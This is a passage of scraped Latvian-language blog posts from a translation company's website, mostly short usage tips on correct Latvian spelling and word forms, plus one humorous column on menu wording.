kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai metīsim svaru vai tievēsim? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2018-10-16 - Modified: 2022-12-23 - URL: https://skrivanek.lv/nomest-svaru-pret-notievet/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional NOMEST SVARU PRET NOTIEVĒT 1 Vai metīsim svaru vai tievēsim? Vārda „nomest” pirmā nozīme ir ‘ar metienu novirzīt (ko) lejā, zemē vai pieļaut, ka (kas) nokrīt’ – var nomest zemē papīru, nomest somu utt. Šis vārds lietojams arī ar nozīmi ‘atbrīvoties (no liekā svara), samazināt ‘savu svaru’ – nomest piecus kilogramus, mēneša laika nomest lieko svaru. Šādā nozīmē vārdkopu „nomest svaru” var lietot tādā pašā kontekstā kā „notievēt” – ‘tievējot samazināt svaru, iegūt slaidāku augumu’. Iespējams, vārdkopa „nomest svaru” kādreiz tika lietota tikai sarunvalodā, bet nu jau iekļaujas literārajā valodā. Priekšā vēl gara ziema – daudzi noteikti šo laiku izmantos, lai nomestu svaru un pavasarī izrādītu savu slaidumu tiem, kuri vēl nebūs paspējuši notievēt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ievērojām kādu pusdienu komplektu ar auksto zupu, savukārt otrajā ēdienā – cūkgaļu ananasu gaumē. Diez kādu cūkgaļu izvēlas ananasi? - Published: 2018-08-28 - Modified: 2025-03-20 - URL: https://skrivanek.lv/franci-ediena-gaume/ - Kategorijas: valodas pērles - Translation Priorities: Optional FRANČI ĒDIENA GAUMĒ Ne vienā vien restorānā vai kafejnīcā pa dienu varam nobaudīt pusdienu piedāvājumu – noteiktu ēdienu komplektu, kas pieejams konkrētā darbadienas laikā. Tā kā klientam izvēles iespēju ir daudz, katra ēstuve ar ko īpašu cenšas vilināt tieši pie sevis. Šovasar ievērojām kādu pusdienu komplektu ar auksto zupu, kas nebūtu nekas pārsteidzošs, savukārt otrajā ēdienā – cūkgaļu ananasu gaumē. Diez kādu cūkgaļu izvēlas ananasi? Lai izceltu vai dažādotu garšu, piešķirtu tai sevišķas nianses, nereti gaļu gatavojam kopā ar augļiem vai ogām. Liellopu mēdzam sautēt ar melnajām plūmēm, Parmas šķiņķi baudām ar meloni, zoss cepeti pildām ar āboliem utt. Diezin vai gan būsim dzirdējuši par tādiem ēdieniem kā liellops melno plūmju gaumē, Parmas šķiņķis meloņu gaumē vai zoss ābolu gaumē. Kāpēc cūkgaļa ar ananasiem kļuvusi par cūkgaļu ananasu gaumē? Restorāni un kafejnīcas piedāvā izsmalcinātus ēdienus, kā vistas karbonāde à la fançaise, bekons à l’américaine vai siers à la belge. Ēdienkaršu veidotāji tos uzskata par tik smalkiem, ka daļu nosaukuma raksta franču valodā. Citkārt visi vārdi ir latviski, bet, izrādās, ēdiens ir tas pats – vistas karbonāde franču gaumē, bekons amerikāņu gaumē vai siers beļģu gaumē. Tie ir ēdieni, kas gatavoti atbilstoši kādas tautas tradīcijām: tā, kā ierasts tos gatavot pie viņiem. Acīmredzot pēc šī parauga arī ananasi kļuvuši par tautu, kuras tradīcijās gatavota cūkgaļa. Nosaukumus raugot padarīt smalkākus, var gadīties tos samargot pavisam komiskus, kā tas noticis ar šo pusdienu piedāvājumu. Tiesa gan, šādi mēs tos nenoliedzami pamanām. Gaidīsim ēdienus arī citu augļu gaumē! Vasilijs Ragačevičs Skrivanek Baltic direktors K. Priedes ilustrācija CITAS VALODAS PĒRLES --- > Ēdīsim aprikožu ievārījumu vai aprikozu? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-07-26 - Modified: 2024-07-12 - URL: https://skrivanek.lv/aprikozu-ievarijums/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional APRIKOZU IEVĀRĪJUMS PRET APRIKOŽU IEVĀRĪJUMS 1 Vai ēdīsim aprikozu vai aprikožu ievārījumu? Vārds „aprikoze” ir 5. deklinācijas lietvārds, kuram daudzskaitļa ģenitīvā sastopama līdzskaņa “j” noteiktā mija, proti, „z” kļūst par „ž”, kā, piemēram, „doze – dožu”, „roze – rožu”. Izņēmumi, ir piemēram, vārdi „gāze – gāzu” (nevis „gāžu”) un „bāze – bāzu” (nevis „bāžu”). Tātad vārīsim aprikožu ievārījumu un ēdīsim aprikožu ievārījumu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Apmeklēsim trenažieru vai trenežieru zāli? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-07-26 - Modified: 2024-10-21 - URL: https://skrivanek.lv/trenazieris-vai-trenezieris/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional TRENAŽIERIS PRET TRENEŽIERIS 1 Vai apmeklēsim trenažieru vai trenežieru zāli? Latviešu valodā vārds „treniņš” ienācis no angļu valodas vārda „training”, kura pamatā vārds „train” ar nozīmi ‘trenēt’, ‘trenēties’. No angļu valodas aizgūts arī vārds „treneris”. Savukārt vārds „trenažieris” ienācis no krievu valodas vārda „тренажер”, tātad vārda vidū rakstāms patskanis „a”, nevis „e”. Tātad apmeklēsim trenažieru zāli. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Dziedātāju aicināsim uz skatuves vai uz skatuvi? Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-07-26 - Modified: 2024-08-09 - URL: https://skrivanek.lv/aicinam-uz-skatuves-pret-aicinam-uz-skatuvi/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional AICINĀM UZ SKATUVES PRET AICINĀM UZ SKATUVI 1 Vai dziedātāju aicināsim uz skatuves vai uz skatuvi? Prievārds „uz” latviešu valodā lietojams divās nozīmēs. Ar akuzatīvu (jautājums KO? ) to lietojam, lai norādītu virzienu: „ejam uz skolu”, „braucam uz Franciju”. Ar ģenitīvu (jautājums KĀ? ) to lietojam, lai norādītu, ka kaut kas atrodas kaut kā virspusē, virsū kaut kam: „vāze ir uz galda”, „stāvu uz ceļa”. Sakot „uz skatuvi”, mēs norādām virzienu, bet, lai mēs atrastos, uzkāptu virsū skatuvei, teiksim „uz skatuves”. Tātad aicināsim dziedātāju uz skatuves. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai gatavosim kinojas vai kvinojas salātus? Uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2018-07-26 - Modified: 2022-12-23 - URL: https://skrivanek.lv/kinoja-pret-kvinoja/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional KINOJA PRET KVINOJA 1 Vai gatavosim kinojas vai kvinojas salātus? Vārds „kinoja” cēlies no kečvu valodas vārda „kinwa” vai „kinuwa”. Angļu valodā šī auga nosaukums rakstāms „quinoa”. Iespējams, latviešu valodā skaņu kopa „qui” vārda sākumā reizēm atveidota kā „kvi”, un to mēdz dēvēt par kvinoju. Tomēr arī „Latviešu valodas pareizrakstība un pareizrunas vārdnīcā” norādīts, ka šis balandu dzimtas augs latviešu valodā saucams par kinoju. Tātad gatavosim kinojas salātus, kinoju ar sieru utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Deju svētkos uzstājas senioru vai senjoru kolektīvs? Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-07-26 - Modified: 2024-10-23 - URL: https://skrivanek.lv/seniors-pret-senjors/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional SENIORS PRET SENJORS 1 Vai deju svētkos uzstājas senioru vai senjoru kolektīvs? Vārdu „seniors” lietojam kā sinonīmu vārdam „vecākais”, kā pretstatu vārdam „juniors”, piemēram, Jānis Mencis seniors un Jānis Mencis juniors. Otrajā nozīmē ar vārdu „seniors” apzīmējam gados vecākus cilvēkus vai vecumgrupu kopumā. Vārds cēlies no latīņu vārda „senior” ar nozīmi ‘vecāks; vecāks cilvēks’. Savukārt senjors zemēs, kur runā spāņu valodā, nozīmē ‘kungs’. Šī vārda cilme arī meklējama spāņu valodā – no vārda „señor”. Tātad svētkos uzstāsies senioru kolektīvs. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Mūsu nozīmīgais rakstnieks ir Rainis vai Jānis Rainis? Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē - Published: 2018-07-26 - Modified: 2024-10-23 - URL: https://skrivanek.lv/janis-rainis-pret-rainis/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional JĀNIS RAINIS PRET RAINIS 1 Vai mūsu nozīmīgais rakstnieks ir Rainis vai Jānis Rainis? Nereti dzirdēts apgalvojums, ka Jānis Pliekšāns pieņēmis pseidonīmu Rainis un nebūtu pareizi viņu dēvēt par Jāni Raini. Tomēr arī pats rakstnieks mēdzis parakstīties kā „J. Rainis” (arī būdams izglītības ministra amatā), turklāt dažādos izdevumos un pat pieminekļu nosaukumos viņš dēvēts dažādi, piemēram, 1930. gadā izdots Antona Birkerta darbs „J. Rainis dzīvē un darbā”, Raiņa kapos un Esplanādē uz pieminekļa lasāms „Rainis”, savukārt Rēzeknē – „J. Rainis”. Tātad rakstnieku varam dēvēt gan par Jāni Raini, gan Raini. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Plates atskaņo patafons vai patofons? Uzzini vairāk! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-07-26 - Modified: 2024-08-14 - URL: https://skrivanek.lv/patafons-pret-patofons/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PATAFONS PRET PATOFONS 1 Vai plates atskaņo patafons vai patofons? Vārda „patafons” otrās daļas pamatā ir grieķu vārds „phonē” ar nozīmi ‘skaņa’ tāpat kā vārdos „magnetofons” vai „mikrofons”. Savukārt vārda „patafons” pirmā daļa meklējama franču firmas nosaukumā „Pathé”, un latviešu valodā saskaņā ar pareizrakstības normām tas rakstāms ar patskani „a” vārda vidū: „patafons”. Tātad plates atskaņo patafons. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Vairāk MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Vairāk VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Vairāk AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Vairāk --- > Vai lasām ezoterisku vai ezotērisku literatūru? Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2018-07-26 - Modified: 2022-12-23 - URL: https://skrivanek.lv/ezoterisks-pret-ezoterisks/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional EZOTERISKS PRET EZOTĒRISKS 1 Vai lasām ezoterisku vai ezotērisku literatūru? Vārda „ezoterisks” pamatā ir grieķu vārds „esōterikos” ar nozīmi ‘iekšējs’. Latviešu valodā šo vārdu nereti kļūdaini rakstām ar garo patskani „ē” vārda vidū, tomēr saskaņā ar latviešu valodas pareizrakstības normām tas rakstāms ar īso „e”: „ezoterisks”. Tātad varam lasīt ezoterisku literatūru. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Pasūtīsim plasmasas vai plastmasas logus? Uzzini atbildi! Vairāki noderīgi latviešu valodas padomi vienuviet! - Published: 2018-07-26 - Modified: 2025-03-12 - URL: https://skrivanek.lv/plasmasa-pret-plastmasa/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PLASMASA PRET PLASTMASA 1 Vai pasūtīsim plasmasas vai plastmasas logus? Vārds „plastmasa” cēlies no grieķu valodas vārda „plastikos” – ‘veidojams’ un latīņu valodas vārda „massa” – ‘mīkla, masa’. Vārda vidū līdzskani „t” gandrīz nedzirdam, tāpēc līdzīgi kā vārdos „ceturtdiena” vai „svētdiena” mēdzam pieļaut kļūdas tā rakstībā. Tātad pasūtīsim plastmasas logus. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai baudīsim espreso vai espresso? Uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2018-07-26 - Modified: 2022-12-23 - URL: https://skrivanek.lv/espreso-pret-espresso/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ESPRESO PRET ESPRESSO 1 Vai baudīsim espreso vai espresso? Itāļu valodā „caffè espresso” nozīmē ‘izspiesta kafija’, jo šo stipro kafiju pagatavo, zem spiediena laižot tvaiku caur samaltām kafijas pupiņām. Lai gan oriģinālvalodā vārdā „espresso” ir divi līdzskaņi „s”, saskaņā ar latviešu valodas normām šādā pozīcijā līdzskaņa „s” dubultojums nav pieļaujams, tāpēc vārds rakstāms „espreso”. Tātad baudīsim espreso. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai dzersim greifrūtu vai greipfrūtu sulu? Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2018-07-26 - Modified: 2022-12-23 - URL: https://skrivanek.lv/greifruts-pret-greipfruts/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional GREIFRŪTS PRET GREIPFRŪTS 1 Vai dzersim greifrūtu vai greipfrūtu sulu? Vārds „greipfrūts” latviešu valodā aizgūts no angļu vārda „grapefruit”. Vārdu izrunājot, nebalsīgo līdzskani „p” gandrīz nedzirdam, tāpēc nereti sastopam rakstījumu „greifrūts”. Tomēr tāpat kā angļu valodā arī latviešu valodā vārda vidū rakstāms burts „p”. Tātad dzersim greipfrūtu sulu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable 